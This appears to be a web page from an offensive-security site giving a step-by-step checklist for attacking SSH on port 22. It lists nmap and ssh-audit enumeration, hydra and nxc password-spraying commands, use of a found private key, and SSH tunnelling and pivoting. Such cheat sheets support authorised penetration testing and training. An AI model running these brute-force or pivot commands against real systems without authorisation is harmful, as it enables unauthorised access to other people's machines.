Howlsec
HOWLSEC
offensive security
Back to Port Tracker
🔐

SSH

Port 22Linux

Secure Shell — grab version, enumerate auth methods, spray creds, and hunt for weak keys.

// methodology checklist

Step-by-step commands

1

Version & auth methods

howlsec@kali·shell
nmap -p22 -sV -sC $t
howlsec@kali·shell
nmap -p22 --script ssh2-enum-algos,ssh-auth-methods $t
howlsec@kali·shell
ssh-audit $t
2

Brute-force / spray

howlsec@kali·shell
hydra -L users.txt -P pass.txt ssh://$t
howlsec@kali·shell
nxc ssh $t -u users.txt -p passwords.txt
3

Key-based auth

If you find a private key, try it with -i. Check for passphrase-less keys.

howlsec@kali·shell
ssh -i id_rsa user@$t
howlsec@kali·shell
chmod 600 id_rsa && ssh -i id_rsa user@$t
4

Port forwarding / pivot

howlsec@kali·shell
ssh -L 8080:localhost:80 user@$t
howlsec@kali·shell
ssh -D 1080 user@$t
howlsec@kali·shell
ssh -R 4444:localhost:4444 user@$t